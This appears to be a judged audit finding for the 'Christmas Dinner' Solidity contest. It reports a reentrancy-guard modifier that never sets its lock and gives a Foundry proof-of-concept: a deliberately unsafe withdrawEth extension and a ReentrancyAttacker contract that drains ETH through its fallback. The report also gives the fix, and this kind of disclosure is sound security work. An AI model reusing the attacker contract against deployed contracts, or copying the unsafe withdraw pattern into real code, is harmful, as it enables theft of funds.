Christmas Dinner
First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`ChristmasDinner::nonReentrant` modifier does not set `locked` to `true` before function execution allowing for reentrancy

trashpirate

Summary

The modifier ChristamsDinner::nonReentrant does not set the variable locked to true before function execution. While the modifier is intended to prevent reentrancy attacks, failing to set the variable locked to true does not provide the intended protection.

Vulnerability Details

Modifiers to protect against reentrancy attacks typically use a state variable that flags whether the function is currently being executed to prevent a function from being called again before the current execution is complete. The ChristmasDinner.sol contract uses the flag locked which is initially set to false. The nonReentrant modifier first checks the value of the variable locked - if it is set to false the function can be executed. However the implementation of the nonReentrant modifier fails to set locked to true after the check to prevent future reentrancy of the function. This allows an attacker to call the function multiple times before the current execution is complete, potentially leading to reentrancy attacks.

modifier nonReentrant() {
require(!locked, "No re-entrancy");
@> // missing line to set locked to true
_;
locked = false;
}

Proof of Concept

The following scenario can lead to an exploit:

  1. ChristmasDinner.sol contract is used as a base contract for another contract.

  2. The inheriting contract extends the existing functionality and introduces a new function withdrawEth that allows the caller to withdraw ETH from the contract similar to the refund function. Function uses the nonReentrant modifier but then sends the ETH with call instead of transferassuming the modifier protects against reentrancy attacks.

  3. An attacker creates a contract that calls the withdrawEth function multiple times via the fallback function before the execution of withdrawEth is complete, draining all funds from the inheriting contract.

Code:

Place following code into ChristmasDinnerTest.t.sol:

contract ChristmasDinnerTest is Test {
// exisitng tests
// ...
​
function test_reentrancy() public {
// initialize christmas dinner extension contract (inheriting from CrhistmasDinner)
ChristmasDinnerExtension cdExt = new ChristmasDinnerExtension(address(wbtc), address(weth), address(usdc));
address payable _cdExt = payable(address(cdExt));
​
// initialize reentrancy attack contract
ReentrancyAttacker attacker = new ReentrancyAttacker(_cdExt);
address payable _attacker = payable(address(attacker));
​
// fund christmas dinner contract
vm.deal(_cdExt, 10e18);
​
// fund attacker
vm.deal(_attacker, 1e17);
​
// deposit ether to christmas dinner contract
attacker.fund();
​
// contract balance before attack
uint256 balanceBeforeAttack = _cdExt.balance;
​
// reentrancy attack
attacker.attack();
assertEq(_cdExt.balance, 0);
assertEq(_attacker.balance, balanceBeforeAttack);
}
}
​
// Mock contract to simulate inheritance from ChristmasDinner contract
contract ChristmasDinnerExtension is ChristmasDinner {
constructor(address _wbtc, address _weth, address _usdc) ChristmasDinner(_wbtc, _weth, _usdc) {}
​
function withrawEth(address payable _to) public nonReentrant {
uint256 refundValue = etherBalance[_to];
(bool success,) = _to.call{value: refundValue}("");
require(success, "withdrawal failed");
etherBalance[_to] = 0;
}
​
function getEtherBalance(address _addr) public view returns (uint256) {
return etherBalance[_addr];
}
}
​
// Reentrancy attack contract
contract ReentrancyAttacker {
ChristmasDinnerExtension christmasDinnerExt;
​
constructor(address payable _christmasDinnerExt) payable {
christmasDinnerExt = ChristmasDinnerExtension(_christmasDinnerExt);
}
​
function fund() public payable {
// fund ChristmasDinner contract with some ether
(bool sent,) = address(christmasDinnerExt).call{value: 0.1 ether}("");
require(sent, "transfer failed");
}
​
function attack() public {
christmasDinnerExt.withrawEth(payable(address(this)));
}
​
fallback() external payable {
if (address(christmasDinnerExt).balance >= 0.1 ether && gasleft() > 20000) {
attack();
}
}
}

Impact

The impact of this vulnerability is LOW because the modifier is only used once in the ChristmasDinner::refund function. Because the function uses transfer to send ETH to the caller, the reentrancy vulnerability is not exploitable since the transfer function has a gas limit of 2300 gas to prevent reentrancy attacks. However, this issue should be addressed to prevent reentrancy vulnerabilities in inheriting contracts or possible future changes to the contract.

Tools Used

Manual review, custom test

Recommendations

To prevent reentrancy attacks, the locked variable should be set to true before the function is executed. This will prevent the function from being called again before the current execution is complete. Alternatively, consider to use the ReentrancyGuard contract from the OpenZeppelin library which provides a battle-tested implementation of a reentrancy lock.

modifier nonReentrant() {
require(!locked, "No re-entrancy");
+ locked = true;
_;
locked = false;
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!